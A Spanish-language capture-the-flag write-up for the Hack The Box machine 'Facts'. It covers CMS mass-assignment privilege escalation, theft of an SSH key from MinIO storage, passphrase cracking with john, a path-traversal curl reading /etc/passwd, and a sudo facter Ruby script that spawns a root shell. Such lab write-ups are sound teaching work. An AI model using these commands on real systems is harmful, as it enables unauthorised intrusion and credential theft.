Todos los derechos reservados a la Hack The Box LTD.

Habilidades Empleadas

• Enumeración de puertos y servicios
• Enumeración de directorios y arquitectura web
• Explotación de vulnerabilidades en CMS (Asignación Masiva de Atributos)
• Interacción con servicios de almacenamiento de objetos (S3) mediante minio-client
• Aprovechamiento de binarios con permisos sudo

Herramientas Utilizadas

• ping
• nmap
• minio-client
• python3
• ssh2john
• john
• curl
• ssh
• facter

Escaneo y Análisis de Vulnerabilidades

La plataforma HTB nos provee la IP objetivo, la cual es la 10.129.16.176, dirección capaz de ser alcanzada conectándonos a través de la VPN que nos asigna la plataforma.

Verificamos si es posible entablar una conexión entre la máquina víctima y la nuestra:

La ruta de la traza ICMP es exitosa. Así pues, el valor del TTL es igual a 63, lo cual podría indicar que estamos frente a un OS Linux/Unix al ser próximo a 64.

Reconocimiento de Puertos

Realizamos una enumeración de los 65535 puertos TCP del sistema a través de la herramienta Nmap, enfocándonos en los de estado abierto:

nmap -p- --min-rate 5000 -Pn -n -oN nmap-scan 10.129.16.176

<= Importante => En entornos empresariales, enviar grandes cantidades de paquetes TCP, ICMP o UDP suele provocar un congestionamiento de la red, provocando un ataque DoS accidental o ser bloqueados por sistemas de monitorización.

Enumeración de Puertos

Observamos que los puertos 22 (SSH), 80 (HTTP) y 54321 (Actualmente desconocido) se encuentran activos. A partir de este punto podemos enumerar los servicios a través de Nmap.

nmap -p22,80,54321 -sCV -oN ports-enum 10.129.16.176

Tras un análisis de la enumeración de puertos, podemos agrupar los resultados en la siguiente tabla:

Herramientas como whatweb (Comando) o Wappalyzer (Extensión del navegador) son de gran utilidad cuando deseamos conocer únicamente las tecnologías que hay en un servicio http.

A partir de la tabla podemos definir posibles vectores de aproximación al objetivo:

• Puerto 22 (SSH): Servicio OpenSSH seriamente desactualizado, siendo usado posiblemente en una distribución Ubuntu 22.04 LTS (Jammy Jellyfish). Posible enumeración de usuarios a través del CVE-2016-6210 y ataque de tipo DoS (CVE-2015-5600). A simple vista no son vías potenciales de acceso directo al equipo.

• Puerto 80 (HTTP): Aplicación web hosteada por medio de un servicio Apache httpd 2.4.52 desactualizado. Por medio de una enumeración web es posible enumerar otros servicios y posibles accesos al servidor víctima.

• Puerto 54321 (HTTP): Servidor net/http escrito en Go. Debido a sus usos, puede ser una aplicación de microservicios, una API interna o inclusive una herramienta para entornos de almacenamiento en la nube, permitiendo la comunicación con servicios como S3 para manejo de buckets.

Enumeración Web

Previo a acceder a la web del objetivo Facts, se realiza un mapping de la IP objetivo a la página de manera temporal. Esto es posible modificando el archivo /etc/hosts:

sudoedit /etc/hosts

Tras acceder a facts.htb, podemos observar que es una página web de trivias.

A simple vista no observamos ninguna opción capaz de dirigirnos a un panel de administración u otra clase de servicios. Por ello, realizamos una enumeración de direcciones url a través de la herramienta gobuster y así tener una visión más amplia de la arquitectura de la página:

gobuster dir -w wordlist -u "http://facts.htb"

Los resultados nos indican la presencia de un panel de administración en la ruta http://facts.htb/admin/login. Accedemos para visualizar el tipo de servicio web.

Observamos que es un panel de administración proveído por un CMS. Así pues, la opción de registrar una cuenta está habilitada, por lo comenzamos el proceso.

Al ingresar observamos 2 elementos de interés:

Explotación

A partir de este punto nos enfocamos en intentar acceder a través de diversos métodos al sistema del equipo Facts.

Web: CVE-2025-2304

Tras comprobar la existencia de un vector de ataque prometedor, utilizamos una herramienta como lo puede ser Caido para la captura y manipulación de peticiones web. Tras activarlo, los dirigimos al perfil de nuestro usuario en el CMS e intentamos cambiar nuestra contraseña.

Tras capturar la petición, modificamos el parámetro password, añadiendo [role]=admin.

La anterior modificación inyecta el parámetro role al cuerpo de la solicitud, escalando así los privilegios de nuestra cuenta para ser usuarios privilegiados.

Tras ello, accedemos la dirección /admin/settings/site para entrar a la configuración del sitio. Después, accedemos a la sección Filesystem Settings. Aquí podemos descubrir que el servidor posee el servicio Amazon S3 para el almacenamiento de objetos en la nube, el cual se ejecuta en el puerto 54321 (Previamente descubierto).

Para aprovecharnos del descubrimiento dentro de Filesystem Settings, obtenemos el access key y la secret key, para posteriormente entablar conexión con el servidor mediante MiNIO:

minio-client alias set facts_htb http://facts.htb:54321/

• minio-client: Herramienta dedicada para administrar e interactuar con sistemas de almacenamiento de objetos con Amazon S3

Tras ejecutar el comando, recibimos la siguiente respuesta: Added facts_htb successfully

Después de haber creado un acceso directo al servidor de almacenamiento, podemos listar los buckets y objetos dentro del servidor; a través de esta capacidad podemos identificar la existencia del bucket internal, que contiene la carpeta .ssh.

Listamos el contenido en busca de posibles archivos de valor:

minio-client ls facts_htb/internal/.ssh

Observamos que dentro de la carpeta existe una clave privada (id_ed25519) para conexiones SSH. Esta, si está protegida por una passphrase muy simple, puede ser crackeada rápidamente por un ataque de diccionario, para después acceder de manera remota al servidor víctima de interés.

Para crackearla, primero debemos convertir la clave en un hash capaz de ser utilizado por herramientas como John the Ripper o Hashcat. En este caso, utilizaremos John:

python3 ssh2john.py id_ed25519 > id.hash

Link de la utilidad: https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py

Tras ello, proseguimos a crackearla:

john --wordlist=/usr/share/wordlist/rockyou.txt id.hash

• john: Herramienta para descifrar y auditar contraseñas.
• --wordlist=path/to/wordlist: Diccionario de palabras o combinaciones utilizadas para el proceso de comparación con el filehash.
• <fileHash-to-crack>: Contraseña cifrada de forma irreversible.

Tras haber descubierto la passphrase, requerimos descubrir el usuario propietario de la clave privada SSH.

Web: CVE-2024-46987

En variantes específicas de Camaleon v2.9.0 es posible realizar un Path Traversal, de tal manera que podemos acceder a archivos remotos del servidor víctima, como lo es /etc/passwd.

Si deseamos realizar la explotación a través de la CLI, podemos ejecutar el siguiente comando:

curl --cookie "_factsapp_session=Cookie ; auth_token=Cookie" "http://facts.htb/admin/media/download_private_file?file=../../../../../../../etc/passwd" | grep "bash"

• -b / --cookie: capacidad de insertar una o más cookies de sesión

Observamos que hay 3 usuarios existentes en el equipo: root, trivia y william.

SSH

Realizando un password spraying con los 3 usuarios existentes, descubrimos que la contraseña crackeada es para el usuario trivia. Tras ello, ingresamos por SSH:

ssh -i id_ed25519 trivia@10.129.16.176 #dragonballz

Tras haber ingresado, listamos los comandos que podemos ejecutar con los privilegios del usuario root:

sudo -l

Observamos que tenemos la capacidad de ejecutar el comando facter (Herramienta enfocada en listar una gran cantidad de datos del equipo en uso).

Investigando en GTFOBins identificamos que a través del comando facter es posible ejecutar scripts custom escritos en Ruby.

Para aprovecharnos de ello, utilizamos la flag custom--dir para abusar de esta propiedad y escribimos el script malicioso:

echo "require 'facter'; Facter.add(:get_bash){setcode{system('/bin/bash')}}" > exploit.rb
sudo facter --custom-dir /tmp get_bash

Ahora tenemos una sesión de bash como el usuario root, tomando control total del sistema Facts.

Impacto

Un atacante con permisos de un usuario común como trivia tiene capacidades de:

• Capacidad de ejecutar scripts y establecer sesiones persistentes.
• Capacidad de enumerar otros sistemas de la red y de realizar movimiento lateral.

El atacante con permisos de administrador obtiene las capacidades de:

• Entablar persistencia entre sesiones y controlar el tráfico del servidor.
• Exfiltración de datos confidenciales (DB o almacenamiento interno a través de S3/MinIO).
• Manipulación de cronjobs para ejecución de tareas maliciosas.
• Instalación de backdoors a nivel de kernel.

Resumen

La máquina Facts presentó una serie de vulnerabilidades críticas (No todas expuestas en este WriteUp) tales como realizar un Path Traversal y posteriormente un RCE, así como que se presentó un Credential Reuse y explotación de un SUID, entre otras más. Por ello, continuación se expondrán los descubrimientos, su gravedad y pautas para evitar esta clase de fallas de seguridad.

Descubrimientos

Asignación Masiva de Atributos y Escalada de Privilegios en CMS Camaleon

Almacenamiento Inseguro de Claves Criptográficas y Uso de Contraseñas Débiles

Exposición de Archivos Sensibles mediante Path Traversal

Gestión Inadecuada de Privilegios Sudo